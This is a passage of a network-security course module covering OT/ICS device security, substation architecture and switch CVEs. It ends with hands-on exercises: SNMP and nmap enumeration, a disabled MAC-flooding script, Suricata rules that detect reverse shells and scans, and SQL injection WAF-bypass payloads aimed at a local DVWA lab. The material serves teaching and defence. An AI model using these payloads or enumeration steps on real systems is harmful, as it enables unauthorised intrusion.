&lt;h3&gt;
  
  
  12.1 The OT Network Device Landscape
&lt;/h3&gt;

&lt;p&gt;Industrial networks use the same classes of devices as enterprise IT, but with critical differences in capabilities, age, patching, and security features.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OT Network Device Reality (2024):

Managed switches: Present in modern OT networks
  - Typically: Cisco IE series, Hirschmann, Phoenix Contact, Moxa
  - Security features: often disabled for "operational simplicity"
  - SNMP: v1 or v2c commonly (v3 rarely configured)
  - Age: 5-15+ years in production environments

Unmanaged switches: Surprisingly common in process areas
  - No configuration, no VLANs, no port security, no monitoring
  - Equivalent to a hub from security perspective
  - Common justification: "it never needs maintenance"
  - Reality: complete blind spot in security monitoring

Industrial firewalls: Slowly increasing adoption
  - Tofino Industrial Firewall (now part of Honeywell)
  - Fortinet (FortiGate with OT/ICS profile)
  - Cisco IOS industrial with zone-based firewall
  - Schneider Electric ConneXium
  - Challenge: industrial protocols must be allowed, and most have no auth

Industrial DMZ architecture (reference):
  Corporate IT ──→ [IT Firewall] ──→ DMZ ──→ [OT Firewall] ──→ OT Network
                                     │
                              Historian (data aggregation)
                              Jump Server (operator access)
                              Anti-virus update server
                              Patch management server
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.2 Substation Network Architecture (Power Grid)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NERC CIP compliant substation (simplified):

  Corporate WAN                           
       │                                 
  [Corporate Firewall]                   
       │                                 
  [DMZ: SCADA Server, Historian]         
       │                                 
  [Substation Firewall]                  
       │                                 
  Substation LAN ─────────────────────────────────┐
  10.20.1.0/24                                     │
       │                         │                 │
  [IED Zone] GOOSE/MMS       [SCADA Zone]    [Engineering]
  Protection Relays          HMI Server      Workstation
  (IEC 61850)               (Wonderware)    (EWS)
       │
  [Physical Field Devices]
  Breakers, Transformers, Sensors

Key security controls:
  - Serial-to-Ethernet converters for legacy IEDs (RS-485/DNP3 → Ethernet/TCP)
  - GOOSE traffic: L2 multicast, cannot traverse router
  - Firewall between engineering zone and IED zone
  - All remote access through jump server in DMZ
  - NERC CIP-005: electronic security perimeter must be defined and enforced
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.3 OT-Specific Network Device Threats
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Unauthorised Remote Access:&lt;/strong&gt;&lt;br&gt;
Many industrial network environments have unauthorised or forgotten remote access methods:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Modems on serial ports (for vendor support, installed years ago, never removed)&lt;/li&gt;
&lt;li&gt;Cellular modems added "temporarily" for maintenance&lt;/li&gt;
&lt;li&gt;Personal Wi-Fi hotspots brought by field technicians&lt;/li&gt;
&lt;li&gt;TeamViewer or similar installed by vendors without documentation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Flat OT Networks:&lt;/strong&gt;&lt;br&gt;
A significant percentage of industrial networks have no segmentation between:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HMI/SCADA servers&lt;/li&gt;
&lt;li&gt;PLCs and field devices&lt;/li&gt;
&lt;li&gt;Engineering workstations&lt;/li&gt;
&lt;li&gt;Historian servers&lt;/li&gt;
&lt;li&gt;Operator workstations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A ransomware infection of one Windows workstation can encrypt every other Windows system on the same flat network, and in many cases reach network-connected HMI servers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Switch Firmware in OT:&lt;/strong&gt;&lt;br&gt;
Industrial managed switches (Hirschmann, Moxa) have their own vulnerabilities:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CVE-2022-38694 (Hirschmann HiOS Switches, 2022):
  Authentication bypass in web interface
  Remote code execution as root
  Affected: Switches used in substations and industrial facilities

CVE-2021-27730 (Moxa EDS Switches, 2021):
  Cross-site scripting in web management
  Stored XSS allows session hijacking

Multiple Cisco IE series switches (Industrial Ethernet):
  Various CVEs in web management, Cisco IOS vulnerabilities
  Patch frequency for industrial-grade Cisco: same as enterprise, but
  industrial customers often 12-24 months behind on patches
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# OT network device discovery and assessment:&lt;/span&gt;

&lt;span class="c"&gt;# Passive discovery (safe for production):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $3,$5}'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oE&lt;/span&gt; &lt;span class="s1"&gt;'[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt;
&lt;span class="c"&gt;# Collects IPs from traffic — non-invasive&lt;/span&gt;

&lt;span class="c"&gt;# LLDP/CDP passive capture (reveals device details without scanning):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="s1"&gt;'ether proto 0x88cc'&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt;    &lt;span class="c"&gt;# LLDP&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="s1"&gt;'ether proto 0x2000'&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt;    &lt;span class="c"&gt;# CDP&lt;/span&gt;
&lt;span class="c"&gt;# Both reveal: device name, model, port, VLAN, IP address&lt;/span&gt;

&lt;span class="c"&gt;# SNMP enumeration of switches (if community known):&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 10.20.1.1 1.3.6.1.2.1.1.1.0  &lt;span class="c"&gt;# sysDescr&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 10.20.1.1 1.3.6.1.2.1.2.2     &lt;span class="c"&gt;# Interface table&lt;/span&gt;
&lt;span class="c"&gt;# Reveals: switch model, firmware version, all interfaces and their status&lt;/span&gt;

&lt;span class="c"&gt;# Safe Nmap for OT (only if explicitly authorised):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-T1&lt;/span&gt; 10.20.0.0/24     &lt;span class="c"&gt;# Ping only, very slow (T1)&lt;/span&gt;
&lt;span class="c"&gt;# -sn: no port scan (ping discovery only)&lt;/span&gt;
&lt;span class="c"&gt;# -T1: sneaky timing (minimum network impact)&lt;/span&gt;
&lt;span class="c"&gt;# Even this should be coordinated with operations team in OT environments&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  13. Hands-On Exercises
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Exercise 1: Switch MAC Table and ARP Interaction (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Understand how switches and ARP interact&lt;/span&gt;

&lt;span class="c"&gt;# 1. View your current ARP table:&lt;/span&gt;
arp &lt;span class="nt"&gt;-a&lt;/span&gt;                                  &lt;span class="c"&gt;# Linux&lt;/span&gt;
ip neigh show                           &lt;span class="c"&gt;# Modern Linux&lt;/span&gt;

&lt;span class="c"&gt;# 2. View MAC table on a managed switch (if accessible via SNMP):&lt;/span&gt;
&lt;span class="c"&gt;# If you have SNMP access to a switch on your lab:&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public SWITCH_IP 1.3.6.1.2.1.17.4.3.1.2
&lt;span class="c"&gt;# Returns: MAC addresses in the forwarding table&lt;/span&gt;

&lt;span class="c"&gt;# 3. Capture ARP traffic and observe switch learning:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'arp'&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt;     &lt;span class="c"&gt;# -e shows MAC addresses&lt;/span&gt;
&lt;span class="c"&gt;# Observe: Ethernet source MAC in ARP requests matches ARP sender MAC&lt;/span&gt;
&lt;span class="c"&gt;# Switch learns these and builds CAM table from them&lt;/span&gt;

&lt;span class="c"&gt;# 4. Simulate MAC flooding detection:&lt;/span&gt;
&lt;span class="c"&gt;# On a test machine, generate many different source MACs:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
from scapy.all import *
import random

def random_mac():
    return ":".join(["%02x" % random.randint(0, 255) for _ in range(6)])

# Send 100 frames with random source MACs
for i in range(100):
    pkt = Ether(src=random_mac(), dst="ff:ff:ff:ff:ff:ff") / &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
          IP(dst="192.168.1.1") / ICMP()
    # sendp(pkt, iface="eth0", verbose=False)  # Uncomment to actually send
    print(f"Would send frame with src MAC: {pkt.src}")

print("(Sending disabled - this is a simulation)")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 2: Firewall Rule Analysis (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Analyse and audit iptables firewall rules&lt;/span&gt;

&lt;span class="c"&gt;# 1. View current rules:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;--line-numbers&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-t&lt;/span&gt; nat &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt;

&lt;span class="c"&gt;# 2. Test firewall behaviour:&lt;/span&gt;
&lt;span class="c"&gt;# Create a test rule and verify it works:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-A&lt;/span&gt; INPUT &lt;span class="nt"&gt;-s&lt;/span&gt; 127.0.0.1 &lt;span class="nt"&gt;-p&lt;/span&gt; tcp &lt;span class="nt"&gt;--dport&lt;/span&gt; 9999 &lt;span class="nt"&gt;-j&lt;/span&gt; ACCEPT
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-A&lt;/span&gt; INPUT &lt;span class="nt"&gt;-p&lt;/span&gt; tcp &lt;span class="nt"&gt;--dport&lt;/span&gt; 9999 &lt;span class="nt"&gt;-j&lt;/span&gt; DROP

&lt;span class="c"&gt;# Start listener:&lt;/span&gt;
nc &lt;span class="nt"&gt;-l&lt;/span&gt; 9999 &amp;amp;

&lt;span class="c"&gt;# Test from allowed source (localhost):&lt;/span&gt;
nc &lt;span class="nt"&gt;-zv&lt;/span&gt; localhost 9999            &lt;span class="c"&gt;# Should succeed&lt;/span&gt;

&lt;span class="c"&gt;# Test from other source (should be blocked):&lt;/span&gt;
&lt;span class="c"&gt;# From another machine on the network:&lt;/span&gt;
&lt;span class="c"&gt;# nc -zv THIS_MACHINE_IP 9999   # Should be blocked&lt;/span&gt;

&lt;span class="c"&gt;# Clean up:&lt;/span&gt;
&lt;span class="nb"&gt;kill&lt;/span&gt; %1 2&amp;gt;/dev/null
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-D&lt;/span&gt; INPUT &lt;span class="nt"&gt;-s&lt;/span&gt; 127.0.0.1 &lt;span class="nt"&gt;-p&lt;/span&gt; tcp &lt;span class="nt"&gt;--dport&lt;/span&gt; 9999 &lt;span class="nt"&gt;-j&lt;/span&gt; ACCEPT
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-D&lt;/span&gt; INPUT &lt;span class="nt"&gt;-p&lt;/span&gt; tcp &lt;span class="nt"&gt;--dport&lt;/span&gt; 9999 &lt;span class="nt"&gt;-j&lt;/span&gt; DROP

&lt;span class="c"&gt;# 3. Build a basic stateful firewall:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/simple_firewall.sh &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/bin/bash
# Simple stateful firewall

# Flush existing rules:
iptables -F
iptables -X
iptables -t nat -F

# Default policies: DROP everything:
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

# Allow loopback:
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

# Allow established/related (stateful):
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Allow specific outbound:
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT    # HTTP
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT   # HTTPS
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT    # DNS
iptables -A OUTPUT -p icmp -j ACCEPT               # Ping

# Allow specific inbound:
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT  # SSH

# Log dropped packets:
iptables -A INPUT -j LOG --log-prefix "DROPPED INPUT: " --log-level 6
iptables -A OUTPUT -j LOG --log-prefix "DROPPED OUTPUT: " --log-level 6

echo "Firewall rules applied"
iptables -L -n -v
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x /tmp/simple_firewall.sh
&lt;span class="c"&gt;# sudo bash /tmp/simple_firewall.sh  # Run to apply&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 3: IDS Rule Writing and Testing (1 hour)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Write and test custom Suricata IDS rules&lt;/span&gt;

&lt;span class="c"&gt;# Install Suricata if not present:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;suricata &lt;span class="nt"&gt;-y&lt;/span&gt;

&lt;span class="c"&gt;# Create test rules:&lt;/span&gt;
&lt;span class="nb"&gt;sudo cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /etc/suricata/rules/bytewall-test.rules &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
# Rule 1: Detect potential reverse shell over common ports
alert tcp &lt;/span&gt;&lt;span class="nv"&gt;$HOME_NET&lt;/span&gt;&lt;span class="sh"&gt; any -&amp;gt; &lt;/span&gt;&lt;span class="nv"&gt;$EXTERNAL_NET&lt;/span&gt;&lt;span class="sh"&gt; [4444,4445,5555,6666,7777,8888] &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    (msg:"BYTEWALL Potential Reverse Shell - Common Metasploit Port"; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    flow:established,to_server; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    threshold:type limit,track by_src,count 1,seconds 60; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    sid:8000001; rev:1; classtype:trojan-activity;)

# Rule 2: Detect large ICMP packets (potential tunnel)
alert icmp any any -&amp;gt; any any &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    (msg:"BYTEWALL Large ICMP - Possible ICMP Tunnel"; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    itype:8; dsize:&amp;gt;200; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    sid:8000002; rev:1; classtype:policy-violation;)

# Rule 3: Detect base64 patterns in HTTP (potential encoded payload)
alert http any any -&amp;gt; &lt;/span&gt;&lt;span class="nv"&gt;$HTTP_SERVERS&lt;/span&gt;&lt;span class="sh"&gt; any &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    (msg:"BYTEWALL Base64 in HTTP URI"; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    http.uri; content:"=="; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    pcre:"/[A-Za-z0-9+&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="sh"&gt;]{50,}={1,2}/P"; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    sid:8000003; rev:1; classtype:policy-violation;)

# Rule 4: Detect nmap scan signature
alert tcp any any -&amp;gt; &lt;/span&gt;&lt;span class="nv"&gt;$HOME_NET&lt;/span&gt;&lt;span class="sh"&gt; any &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    (msg:"BYTEWALL Possible Nmap Scan"; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    flags:S; window:1024; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    dsize:0; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    sid:8000004; rev:1; classtype:network-scan;)
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Test rules against a PCAP file:&lt;/span&gt;
&lt;span class="c"&gt;# Download test PCAP from Wireshark wiki or use tcpdump to capture&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/test.pcap &lt;span class="nt"&gt;-c&lt;/span&gt; 1000 &amp;amp;
&lt;span class="nb"&gt;sleep &lt;/span&gt;10
&lt;span class="nb"&gt;kill&lt;/span&gt; %1 2&amp;gt;/dev/null

&lt;span class="nb"&gt;sudo &lt;/span&gt;suricata &lt;span class="nt"&gt;-c&lt;/span&gt; /etc/suricata/suricata.yaml &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/test.pcap &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-l&lt;/span&gt; /tmp/suricata_test/ &lt;span class="nt"&gt;--runmode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;single

&lt;span class="c"&gt;# View results:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/suricata_test/fast.log 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"No alerts triggered"&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/suricata_test/eve.json 2&amp;gt;/dev/null | python3 &lt;span class="nt"&gt;-m&lt;/span&gt; json.tool | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-50&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 4: VPN Configuration and Testing (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Set up and test WireGuard VPN (modern, simple, secure)&lt;/span&gt;

&lt;span class="c"&gt;# Install WireGuard:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;wireguard &lt;span class="nt"&gt;-y&lt;/span&gt;

&lt;span class="c"&gt;# Generate key pair:&lt;/span&gt;
wg genkey | &lt;span class="nb"&gt;tee&lt;/span&gt; /tmp/private.key | wg pubkey &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/public.key
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Private key: &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/private.key&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Public key:  &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/public.key&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# Create server configuration:&lt;/span&gt;
&lt;span class="nb"&gt;sudo cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/wg-server.conf &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;
[Interface]
PrivateKey = &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/private.key&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;
Address = 10.200.0.1/24
ListenPort = 51820
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE

[Peer]
PublicKey = CLIENT_PUBLIC_KEY_HERE
AllowedIPs = 10.200.0.2/32
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"WireGuard server config created at /tmp/wg-server.conf"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Review the configuration:"&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/wg-server.conf

&lt;span class="c"&gt;# Test security of WireGuard:&lt;/span&gt;
&lt;span class="c"&gt;# WireGuard doesn't respond to unauthenticated UDP packets&lt;/span&gt;
&lt;span class="c"&gt;# This means it's invisible to scanners that don't have the public key&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sU&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 51820 localhost 2&amp;gt;/dev/null
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Nmap shows WireGuard as open|filtered - correct behaviour"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"WireGuard doesn't respond to unauthenticated probes"&lt;/span&gt;

&lt;span class="c"&gt;# Clean up:&lt;/span&gt;
&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; /tmp/private.key /tmp/public.key /tmp/wg-server.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 5: WAF Bypass Practice (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Practice WAF bypass techniques on intentionally vulnerable applications&lt;/span&gt;
&lt;span class="c"&gt;# Use DVWA (Damn Vulnerable Web Application) or similar&lt;/span&gt;

&lt;span class="c"&gt;# Install DVWA via Docker:&lt;/span&gt;
docker run &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 8080:80 vulnerables/web-dvwa 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Docker not available - use online version at dvwa.co.uk"&lt;/span&gt;

&lt;span class="c"&gt;# Test basic WAF bypass techniques:&lt;/span&gt;

&lt;span class="c"&gt;# 1. SQL injection bypass (on SQLi page with WAF-like protection):&lt;/span&gt;
&lt;span class="c"&gt;# Standard (might be blocked by simple filter): &lt;/span&gt;
&lt;span class="c"&gt;# ' OR 1=1--&lt;/span&gt;

&lt;span class="c"&gt;# Bypass variants to try:&lt;/span&gt;
&lt;span class="c"&gt;# ' OR 1=1-- -&lt;/span&gt;
&lt;span class="c"&gt;# ' OR '1'='1&lt;/span&gt;
&lt;span class="c"&gt;# ' OR 1=1#&lt;/span&gt;
&lt;span class="c"&gt;# '||'1'='1&lt;/span&gt;
&lt;span class="c"&gt;# ') OR ('1'='1&lt;/span&gt;

&lt;span class="c"&gt;# 2. Test URL encoding bypass:&lt;/span&gt;
&lt;span class="c"&gt;# Replace ' with %27, space with %20, = with %3D:&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:8080/vulnerabilities/sqli/?id=1%27+OR+1%3D1--+&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Cookie: PHPSESSID=abc; security=low"&lt;/span&gt;

&lt;span class="c"&gt;# 3. Nikto - web server scanner (includes some WAF detection):&lt;/span&gt;
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; http://localhost:8080 &lt;span class="nt"&gt;-output&lt;/span&gt; /tmp/nikto_results.txt
&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/nikto_results.txt | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-30&lt;/span&gt;

&lt;span class="c"&gt;# 4. Detect if a WAF is present:&lt;/span&gt;
wafw00f http://localhost:8080 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import urllib.request
try:
    r = urllib.request.urlopen('http://localhost:8080/?q=&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;')
    print('No WAF - XSS not blocked (status:', r.status, ')')
except Exception as e:
    print('Possible WAF or error:', e)
"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  14. Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Device&lt;/th&gt;
&lt;th&gt;OSI Layer&lt;/th&gt;
&lt;th&gt;Core Function&lt;/th&gt;
&lt;th&gt;Key Attacks Against It&lt;/th&gt;
&lt;th&gt;Key Security Control&lt;/th&gt;
&lt;th&gt;OT/ICS Relevance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hub&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Broadcast signal repeater&lt;/td&gt;
&lt;td&gt;Passive sniffing (all traffic visible)&lt;/td&gt;
&lt;td&gt;Replace with switch&lt;/td&gt;
&lt;td&gt;Still present in legacy OT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Switch (L2)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;MAC-based frame forwarding&lt;/td&gt;
&lt;td&gt;MAC flooding, VLAN hopping, ARP spoofing&lt;/td&gt;
&lt;td&gt;Port security, DAI, DHCP snooping&lt;/td&gt;
&lt;td&gt;Dominant in industrial LANs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
